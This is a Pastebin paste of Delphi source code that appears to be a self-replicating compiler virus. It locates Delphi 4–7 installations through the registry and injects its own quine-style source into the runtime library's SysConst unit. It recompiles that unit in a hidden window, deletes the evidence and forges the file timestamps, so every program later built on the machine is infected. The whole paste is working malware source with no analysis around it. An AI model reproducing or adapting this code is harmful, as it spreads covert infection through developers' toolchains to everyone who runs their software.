Advertisement
Guest User

Untitled

a guest
Apr 11th, 2010
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 3.85 KB | None | 0 0
  1. uses windows;
  2.  
  3. var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
  4. 'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
  5. '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
  6. 'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
  7. 'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
  8. '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
  9. '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
  10. 'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
  11. 'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
  12. ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
  13. 'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
  14. ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
  15. 'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
  16. 'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
  17. 'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
  18. '0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
  19. 'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
  20. '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
  21. 'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
  22. 'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
  23. 'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
  24. '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
  25. '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
  26. 'begin st; end.');
  27.  
  28. function x(s:string):string;
  29. var
  30. i:integer;
  31. begin
  32. for i:=1 to length(s) do
  33. if s[i]=#36 then s[i]:=#39;
  34. result:=s;
  35. end;
  36.  
  37. procedure re(s,d,e:string);
  38. var
  39. f1,f2:textfile;
  40. h:cardinal;
  41. f:STARTUPINFO;
  42. p:PROCESS_INFORMATION;
  43. b:boolean;
  44. t1,t2,t3:FILETIME;
  45. begin
  46. h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  47. if h<>DWORD(-1) then
  48. begin
  49. CloseHandle(h);
  50. exit;
  51. end;
  52. {'I-}assignfile(f1,s);
  53. reset(f1);
  54. if ioresult<>0 then
  55. exit;
  56. assignfile(f2,d+'pas');
  57. rewrite(f2);
  58. if ioresult<>0 then
  59. begin
  60. closefile(f1);
  61. exit;
  62. end;
  63.  
  64. while not eof(f1) do
  65. begin
  66. readln(f1,s);
  67. writeln(f2,s);
  68. if pos('implementation',s)<>0 then
  69. break;
  70. end;
  71.  
  72. for h:= 1 to 1 do
  73. writeln(f2,sc[h]);
  74. for h:= 1 to 23 do
  75. writeln(f2,''''+sc[h],''',');
  76. writeln(f2,''''+sc[24]+''');');
  77. for h:= 2 to 24 do
  78. writeln(f2,x(sc[h]));
  79. closefile(f1);
  80. closefile(f2);
  81. {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  82. fillchar(f,sizeof(f),0);
  83. f.cb := sizeof(f);
  84. f.dwFlags := STARTF_USESHOWWINDOW;
  85. f.wShowWindow := SW_HIDE;
  86. b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  87. if b then
  88. WaitForSingleObject(p.hProcess,INFINITE);
  89. MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  90. DeleteFile(pchar(d+'pas'));
  91. h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  92. if h=DWORD(-1) then
  93. exit;
  94. GetFileTime(h,@t1,@t2,@t3);
  95. CloseHandle(h);
  96. h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  97. if h=DWORD(-1) then
  98. exit;
  99. SetFileTime(h,@t1,@t2,@t3);
  100. CloseHandle(h);
  101. end;
  102.  
  103. procedure st;
  104. var
  105. k:HKEY;
  106. c:array [1..255] of char;
  107. i:cardinal;
  108. r:string;
  109. v:char;
  110. begin
  111. for v:='4' to '7' do
  112. if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
  113. begin
  114. i:=255;
  115. if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
  116. begin
  117. r:='';
  118. i:=1;
  119. while c[i]<>#0 do
  120. begin
  121. r:=r+c[i];
  122. inc(i);
  123. end;
  124. re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
  125. end;
  126. RegCloseKey(k);
  127. end;
  128. end;
  129.  
  130. begin
  131. st;
  132. end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement